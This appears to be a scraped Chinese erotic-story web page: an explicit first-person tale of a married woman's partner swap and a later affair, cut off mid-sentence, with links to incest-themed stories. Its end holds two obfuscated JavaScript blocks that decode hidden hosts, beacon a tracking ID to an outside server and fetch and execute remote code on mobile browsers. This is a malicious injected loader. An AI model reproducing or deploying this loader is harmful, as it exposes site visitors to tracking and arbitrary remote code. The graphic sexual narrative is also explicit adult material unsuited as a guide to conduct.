图片载入中

换妻让我越走越远

特大字】 【大字】 【中字】 【小字

前三十多年我都是一个非常贞洁的女人,但从那次开始,缺口一旦打开,就一发不可收拾。

我今年35岁,老公比我大4岁。结婚八年了,他是我的初恋。如果不是他一念之差,可能到现在我的人生轨迹还是那么平淡,一起都因为交换而改变。我不算一个非常保守的女人,但作为公务员我平时只以职业装见人,毕竟在那种环境里不应该过于显眼。大家也许不知道,别看机关比较正统,其实大家平时非常开放,在办公室里讲黄色笑话是经常的事,不过我也很少参与。老公的性格和我正相反,比较开放,比较容易接受新鲜事物,也许是性格的原因,事情就是由他开始的。孩子逐渐大了,我们之间的性事反而越来越没有味道,每个月有那么一次,质量还不太好。在许许多多夫妻身上,这是一种通病,但通病却没有灵丹妙药,更多人选择了逆来顺受,让这种平淡伴随他们终身,但有的人却不甘心平淡。

对于生活循规蹈矩的我来说,这样的生活仿佛很正常。但老公并不那么看,他总是认为七年之痒,大家审美疲劳了,需要一些新的刺激唤起大家的青春。我有时跟他开玩笑:“唤起了青春,你就不怕老婆跑啦?”

他的回答总是那么自信:“人生只有一次,我不愿意让你变成黄脸婆。”他这么说总是让我非常开心,但绝没有想到居然是以那样的形式。

第一次交换

03年,他开始上网,一开始无非是看看新闻、逛逛论坛什么的,偶尔也当点小电影。有一次,一部欧美夫妻交换的电影给我们冲击比较大,影片里那些刺激的镜头令性生活平淡的我们进行了一次激动的性交,久违了的感觉汹涌而来。从此之后,他开始偶尔跟我提起交换夫妻的想法。我只当他开玩笑,也没怎么理会。谁知道他偷偷地去一些交换的论坛,还真的接触到了一些这方面的人和事。有一次他在浏览网页的时候,让我撞个正着,他见我发现了,也不慌不忙地让我一起看。

帖子里的故事,还有照片对我震撼很大,想不到现实中居然真的有这样的事情发生。老公于是试探我的口气,是不是尝试一下这种性爱?当时我没有说话,只是感觉到脸上有些发烧。现在想起来,我都搞不清楚自己当时为什么那样,假如我当时坚定地拒绝,可能事情不会发展到今天。

老公见我不置可否,以为我默许了这样的提议,于是更加积极地寻找交换对象。记得那是05年的春节过后,有一天他突然拉我到计算机前,给我看了一封邮件,原来是天津的一个男人发来的,同意和我们进行接触。我当时有些恼火了,

没想到他怎么真的搞这种事情。

老公立刻对我进行了安抚,说只是接触一下,了解一下对方的心理,而且保证如果我不同意,立刻断绝与对方来往。

其实我当时没有料到这里存在一个陷阱,什么叫“我不同意就断绝来往”?其实这个事情开始接触就是不对的。虽然我隐隐约约感觉到不对,但竟然有一种好奇的心理让我没有跟他纠缠,这等于正式默许了,也许多年夫妻生活的平淡真的让人有些厌倦。

对方是天津的一个私营企业的老板,叫龙胜(化名),年龄比我老公还大几岁。我们很快通过视频建立了联系,在视频中我看到对方是一个身材魁梧的人,样子不帅但有些威严,至少不会让人感到讨厌。

一开始,都是两个男的在视频里出现,实际上是为了让双方妻子看看。对方很快反馈过来,他老婆通过我老公了。我老公对我努努嘴,意思等着我表态,我有些不好意思,但还是选择了点头。

那天晚上,老公边在我嘴边嘀咕着:“你要和一个陌生人做爱了,你很兴奋吗?”边干着我,我们进行了一次质量很好的性爱。

很快,我们相约了第一次见面,由于对方的孩子在外地上大学,所以约定到天津见面。一个周末,我们把孩子安排到他姥姥家,然后坐了长途汽车过去。我们直接到了天津开发区下车,龙胜已经开着他的帕萨特来接我们。龙胜是一个身高1米85的大个,身材非常魁梧,在他面前,我老公1米73的个头显得气势上弱了许多。龙胜看上去感觉跟个黑社会老大似的,我和老公交换了一下眼神,两人都不禁笑了出来。

其实龙胜是个脾气非常随和的人,跟我们介绍了一些情况,很快双方就显得有些融洽了。只是作为第一次参加这样的活动,我心里始终有些紧张,我感觉脸上的笑容都有些僵硬。

龙胜从倒后镜看出点什么,笑着道:“徐太太第一次参加这样的活动吧?紧张很正常。不过你别担心,随时可以选择退出,如果实在不行,我们四人坐着聊天都可以。”我的脸唰地红了,不好意思地低下头。

不一会就到了他们家,是一个两层的复式顶楼,大飘窗俯瞰了整个天津开发区,景色非常优美。龙的老婆已经准备好饭菜,招唿我们赶紧吃饭。

龙的老婆姑且叫大嫂吧,年龄快40岁了,说实话,长得并不怎么样,比起我差远了。我对自己可是满有信心的,1米67的个子,115斤,身材略略丰满,但配合75C的胸,可以说是相当的性感。

大嫂才1米6,人不胖,甚至可以说有些瘦,不过她气质倒还行,像个有社会地位的人,原来是大学里的讲师。我真不明白老公图什么,也许是因为他比较喜欢瘦女人的缘故吧!当然男人看女人和女人看女人的评价标准是不同的。很快我们就吃完了这顿心不在焉的饭。大家在客厅坐着看了会电视,气氛有些尴尬。不过还是龙胜打破了这种沉默,他用询问的口气对我们俩说:“要不我们到上面主卧去看看影碟?”老公看了看我,我低着头不说话,老公就点点头。龙胜夫妇带着我们上了楼,大嫂随便地坐在床上,老公也大咧咧地坐到床的另一边,我小心翼翼地坐在窗边的贵妃榻上。龙胜打开电视,挑了一张A片放了起来(和许多交换的描写很相似),看来他已经是经验丰富了。

看了一会,龙胜跑到我身边坐下,我手足无措,不知道怎么应付。老公看上去仿佛没所谓,冲我们俩笑笑。过了一会,他见我没反应,就把手揽住我的腰,那只大手在我腰上一握,我居然感到有些酥软的感觉。

龙胜在我耳边小声说道:“我一见你,就挺喜欢你的。”我的脸立刻烧得不行了。他加了点劲,我便靠在他身上。老公见此,也顺势倒在床上,滚到大嫂身边,大嫂也没拒绝,让他这么抱着。

又看了一会,龙胜也许觉得差不多了,就提议:“大家去洗澡如何?”老公表示同意,拉起大嫂就走进浴室。他这一走,我有种被抛弃的感觉,心里不禁叹了口气。

龙胜见我老公走了,立刻一伸手把我搂进怀里,我有些吃惊地呻吟了一声,他以为我在鼓励他,嘴巴不由分说把我的嘴盖住。不得不承认,他是个非常懂得接吻的男人,我被他吻得很舒服,我们的舌头搅在一起,竟然有些来电的感觉。龙胜见我就范,手开始隔着衣服揉搓起我的乳房,我的身子逐渐软了下来。他拉开我的衣服,由于是冬天,里面还穿着毛衣什么的,所以有些不方便,他命令似地说:“脱了。”我竟不由自主地解开扣子,他的话似乎有股魔力,让我无法拒绝。

我站起来脱,他坐在那里欣赏。一开始有些不好意思,衣服一件一件离开身体,我更加羞涩,毕竟让一个之前从来没有婚外性经验的女人在陌生男人面前裸露绝对不是那么容易接受的。

我只留了一套内衣在身上,感觉有点冷。他向我招招手:“来,帮我脱。”我又无法拒绝,顺从地走过去帮他脱起衣服来。一开始我是站着的,动作起来颇不方便,他拉了我一把示意让我跪下,我居然再次听话地跪下帮他除衣。龙胜的身材的确很魁梧,看得出来,他年轻时身材健美,但四十多的人终归被岁月催出了一些肚腩。让我惊奇的是他那根阳具,当脱去裤子之后,我感到在白色的三角底裤中,它竟然是如此大。

他突然拉我的手放在阳具上,我吃惊地擡头看着他,龙胜微笑着道:“你不想看看它吗?”我被他逗得“噗哧”一笑,气氛一下子融洽了许多。

这时,老公和大嫂已经洗完澡出来了,我的脸再次潮红,龙胜拉起我对我老公说道:“徐太太真是尤物啊!哈哈……”我老公居然有些不好意思地干笑。突然我感觉有些不好,怎么自己老公显得有些猥琐?可能是第一次交换,他也非常紧张。

龙胜拉着我进了浴室,里面的热水还放着,他伸手在我乳罩背后的搭扣上一弹,我两只大乳房立刻如释重负般被解放了,接着他又解开我的发扣,一头漆黑的卷发瀑布般撒了下来。

他从后面搂着我,亲吻我的耳垂,双手上下齐动,右手玩弄着我的乳房,左手插进底裤内进犯我的私地。一开始我还努力夹着腿抵抗,可他鼻子里喷出的热气让我浑身发软,嘴里情不自禁地发出一声呻吟。

他为了方便,居然拉起我的大腿架在浴盆边缘,私地再也没有了抵抗,他粗壮的手指长驱直入抠挖着我的花蕾。我再也禁止不住那迸发的春情,底下已经泛滥了,我放肆地呻吟着:“啊……”我一只手伸到后面抚摩着他的背颈,另一只手被他牵引向下身,捉住那要命的阳具,它是如此地大,比老公的大多了!不知不觉中我被转过身来,我们再次激烈地拥吻,这次我是主动地接受。我感到他的阳具顶在我的肚子上有些坚硬,就自觉地替他脱去底裤,黑色的阳具,龟头熠熠闪光,我冲动得差点晕过去。

他按了按我的肩膀,使了个眼色,我又无法抗拒地跪下来给他口交,我的嘴几乎盛不下那硕大的阳具,“哦……宝贝,真舒服,你真是尤物!”龙胜的声音仿佛是一种鼓励,我更加卖力,学着A片里的女主角。我不知道自己是否真的让他舒服,只是觉得服侍他可能要比服侍老公更用心。

吃了一会,他拉起我进了浴盆洗澡,他还教我如何在乳房上打上沐浴液给他擦背,笑称这叫“鲍鱼擦头”。乳头在他宽阔的背上来回揉动,不时如过电一样让我颤抖,此时我的身体异常敏感,已经随时渴望男人的进入。

等我们走出浴室,老公已经和大嫂干起来了,只见他坐在床上,两人的下身结合在一起,大嫂仰着头,身体扭动着发出销魂的呻吟,老公的阳具在她阴户中不停穿插着。老公用眼角的余光看了我们一眼,立刻又陷入到疯狂的做爱中。在我脑海中一直有个问题,就是我老公跟别人做爱时到底是什么样子?突然我有一种吃醋的感觉油然而生,也许是因为老公刚才有些忽视我的眼神。龙胜拉我坐到贵妃榻上,重新开始了对我的攻击。我的身体经过刺激之后已经变得非常敏感,其实下面的潮水根本就没有停息过。我发觉他挺坏的,我坐在他怀里,正对着大床,我双腿搭在他毛茸茸的大腿上,他的阳具从我两胯中穿出顶着我的私地,但他并不急于进入,只是用各种手法玩弄着我的乳房,还有泛滥的花心和阴蒂。

他的声音在我耳边响起:“怎么样?你老公似乎很喜欢操我老婆,你看他干得多来劲!”我知道他是在刺激我的心灵,但我还是醋意盎然,闭上眼睛回头,用手搂着他的头和他接吻,这次我是主动的。

他把我抱起来放在贵妃榻上,呈趴着的姿势,阳具的龟头不时地顶着我的阴唇。我知道他要进入了,我的身体紧张地等待着这一刻,可它却仿佛不得要领,顶在下面乱搅,我有些受不了了,焦躁地扭动着身体,他却在我耳边说:“想要吗?自己放进去。”

我几乎不加思索地伸手扶着那硕大的阳具对正我的花心,同时扭动着身体迎合它的进入,这时的我已经处在忘我的状态,我急切地需要阳具的进入。当它破开我的阴唇插进去的时候,满足感一下子从阴道中生起。真粗啊!我如释重负般地长长呻吟。此时,老公正看着我,神情怪异。

我听见他的身体撞击在我的屁股上发出“啪啪”的声响,这种声音是如此地淫糜,让我不能自已。这时,我听见老公突然发出一声沈闷的怒吼,这是他射精了,于是我更加放肆地淫叫,配合着龙胜操弄的节奏。

龙胜弯下腰伏在我背上,双手伸到前面肆意地蹂躏着我丰满的乳房,这让我突然产生了一种屈辱的感觉,觉得自己被玩弄,可这种感觉进一步驱使身体的感受。过了几分钟,我已经快冲上高潮,叫声越来越急促,说实话,龙胜让我达到高潮根本没用多大力气似的。

他似乎感到了我的状态,突然加快速度,当我快要达到顶峰时,他猛然拉起我的头发,让我的身体后仰,这种疼痛成为了高潮的最后一根稻草,我忘情地叫喊着、颤抖着,眼泪从眼眶中飘出……

不知道过了多久,龙胜还是不停操弄,他的力量似乎永无止境。我已经不知道有过几次高潮,两手无力地支撑着身体,无奈地在那操弄中摇摆,嘴里发出求饶的声音:“大哥……受不了了……饶了我吧!我要死了……”

龙胜把我翻过来,让我仰躺在榻上,我终于得到了一丝喘息的机会,随后我看见他的脸,嘴边带着胜利者的微笑,再次进入我的身体,我彻底崩溃了……这是一个没有穷尽的夜晚,不知道龙胜为什么有那么强大的性能力,我先后又被他干了两次。之后那一次,老公和大嫂也加入进来,大嫂吃我的乳头、我替老公口交,当时的情形非常淫荡,我以前从来没有想象过的事情终于发生了。在他们的夹攻下,我经常迅速地达到高潮,然后一直漂浮在那个状态,高潮一个接一个。老公也和龙胜交换着来操我,我不停地接受男人的冲刺。后来老公成为了观众,他在观看着一个孔武有力的男人玩弄他的老婆,直至把精液射入她身体深处。他的神情从一开始的兴奋,到后来有些醋意,可我似乎产生了一种报复的心理,就是你想交换的,你要的就是这种滋味吗?

从晚上9点一直玩到天将破晓,这场刺激的宴席才宣告结束,我已经泄得没有力气,倒在老公的怀里睡着了。还好,他没有出让这最后的权利。

这一睡一直睡到周日下午两点,等我起来的时候,我发现他们已经穿戴整齐坐在客厅里聊天。大嫂显得非常开放,不停地跟我解释,原来从两年之前,他们已经开始了交换,并有过十几次成功的经验。龙胜没怎么说话,坐在一旁,不时看我一眼,那眼神让我浑身发麻,让我想起昨天晚上那淫荡的经历。我老公有些萎靡,原因很好理解。

坐了约莫半个小时,老公提出要走了,龙胜夫妇没有阻拦,只是说了些让我们再坐会之类的客套话。龙胜开车把我们送到长途汽车站,我们坐车回北京,一路上,我和老公很少说话,我紧紧地搂着老公,仿佛怕失去什么。

这次经历过后,生活重新恢复了正常,只是老公不再热衷于交换了,而他在床上的表现突然变得凶猛起来,经常非常粗暴地干我,仿佛是受了那次的刺激,因为他时常在做爱中问我:“是不是龙胜的鸡巴比我厉害?”我知道他自尊心受挫,所以也只能多给予安慰。

虽然老公比以往积极了许多,但由于客观条件限制,我再也没有感到那天的感觉,让我颤抖的感觉。

黑暗的君王

时间很快过了两个月,老公因为出差要去南方呆一个月。天意弄人,一个电话突然而来……

在老公走后的第十天,我接到一个电话,竟然是龙胜打来的!所以我有时候想:人到底是不是被命运所操纵的呢?

龙胜在电话里说:“大哥想你了,什么时候再来啊?”

我说:“老公出差了,不能去啊!”

龙胜说:“他走了,你不是很寂寞吗?来天津,让大哥看看你。”

我说:“不能这样的,我答应过他,交换必须双方都在。”

龙胜说:“谁说这次是交换?我只单独找你,你是尤物,不应该被寂寞锁住身体。来吧,周末我等你。”

龙胜的话如重锤一样敲击着我的心灵,我一时语塞,心里怦然而动,竟然不知道继续拒绝。

龙胜接着说:“我知道你忘不了我,何必欺骗自己呢?我为你准备一个美妙的夜晚。妍,我很喜欢你,很想见到你。”

他的话语对我来说仿佛就是道命令,从那天晚上起我就发现了这个问题。是的,我无法拒绝他的请求,我只能以“考虑一下”作拖延。挂了电话,我陷入到无边的痛苦中。

我知道,现在已经不是所谓不涉及感情的交换那么简单,我正在滑向危险的边缘。我心里感到有些恐惧,一个35岁、已经过了春情萌动年龄的女人,她有着正当的职业、有着幸福的家庭,但正在面对一种致命的诱惑,有些无力抵抗。到底是什么让我混乱?有些迷惑,是他巨大的阳具,还是威严的相貌?或者是他身上具有的霸气?

挂上电话,我下意识地拨了另一个号码,那是老公的电话。

“餵……老婆,是你吗?”电话那边响起那熟悉的声音。

“是我……”我突然不知道该说什么。

“哦,怎么这个时候给我打电话?”此时是下午3点。

“想问问你还有多长时间回来。”

“啊,就这个啊?我还以为出了什么事呢!不是已跟你说了吗,至少要到月底。”电话那一头,他语气轻松。

“……哦,不能早点吗?我想你。”沈吟了一下,我说出这句话,这是我作出的最大努力。但不知道为什么,我没有告诉他刚才龙胜约我的事。

“奇怪啊,你从来不会这样,发生什么事了吗?”

“哦,没有,昨天晚上看了个片子,有点想你而已。”我撒了个谎。

“是不是那种片子啊?”

“你就是知道那事,不是啦!”我脑海里激烈地交锋着,说还是不说?“还有个事……”

“哦,有什么晚上说,我已经进了人家公司了,先这样。”说着他就挂机。听到电话那端的盲音,我有些失落,在挂机那一瞬间,我本来是打算跟他说的。

这天晚上,我等待着老公的电话,我心中甚至把这当作命运的考验,如果他给我电话,我便告诉他龙胜的事,并拒绝龙胜;如果没有电话来呢,我不知道怎么办了。终于一个晚上他的电话没有打来,同时伴随我的是失眠的长夜,这是否又是命运的安排?有时候我很相信命运。

又过了两天,到了周五,他再次打来电话。他问我什么时候能来,我沉默了一会,他也沉默着等待,我仿佛感到电话对面那个信心十足的微笑。我倔强的天性突然爆发:“不,我不去。”

电话那头传来有些失望的语气,他也没有进一步诱惑我,就挂上电话。我似乎出了一口大气,但同时有一种说不出的感觉,难以言表。这是我做出最后的抵抗,当时我很庆幸自己还能有这样的勇气。

转天到了周六,儿子约了同学去郊游。我以为,事情已经过了,一个寂寞的黄脸婆只能以逛商场来打发时间。

正逛着,电话突然响了起来,我一看,竟然是龙胜的电话。

“我在北京,你在哪?”

我的心竟然扑通扑通地跳了起来,我说:“我在外面逛街。”

“和老公在一起?他回来了吗?”

“没有,他还在出差。”

“那好,你现在过来吧,我在XXX宾馆412房等你。”他的语气不容分说。

我还想说什么,可根本就没有机会,他已经挂了电话。这时的我仿佛陷入无边的大海中,我该怎么办?根本没有主意。

我茫然地在商场里走着,根本不知道方向。要不,见他面时直接跟他说清楚吧!说来也奇怪,这种危险的想法竟然在那一刻闪出,于是,脚步不经意地移到了商场门外,打了车直奔宾馆去了。

走过酒店的走廊时,我下意识对着楼梯口的镜子观看了一下自己的着装,上身黑色的高领毛衣,紧绷在身上突出了丰硕的乳房,一条格子的绒裙,下面是一双高筒靴,头发卷着披下来。镜子中的我是如此地性感,我开始有些恼火,竟然穿了这样的一身。

敲门,里面听到一些声音,门开了,那魁梧的身躯现入我的眼帘,天啊!他居然没有穿衣服,只穿了一条底裤。他对我笑笑:“你终于来了,我知道你一定会来的。”说着一把将我拉过去拥在怀中,嘴已经封到了我的嘴上。

身后的房门缓缓地关上,门锁合上的声音,如重锤一样击碎了我的心灵,它仿佛关上了回头的路。

我想抵抗,但他是那么的有力,只要一靠到他的怀里,我便失去了力气。拥吻了好一会他才放开我,我连忙说:“我来是为了……”可他用手封住我的嘴,指了指浴室,用命令的口吻说:“去,洗洗,别那么累,放松些。”

当我走进浴室那一步起,我知道我再也不能做出任何抵抗了,我彻底投降。随便吧,反正不是第一次了。心里这么想着,闭上眼睛,脱起衣服。

当水浇到我身上的时候,我无比的舒畅,压在我心头好几天的石头终于解放了,至少这算是一个解脱的方法。

突然一双手从身后插到我的胁下,我知道是他到来了,闭上眼睛,享受着他的抚弄。我感到下身有根硬梆梆的东西顶住,我立刻抓住大哥坚挺的阳具,大哥


上一篇:父亲的女奴

下一篇:操姐姐的嫩穴


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};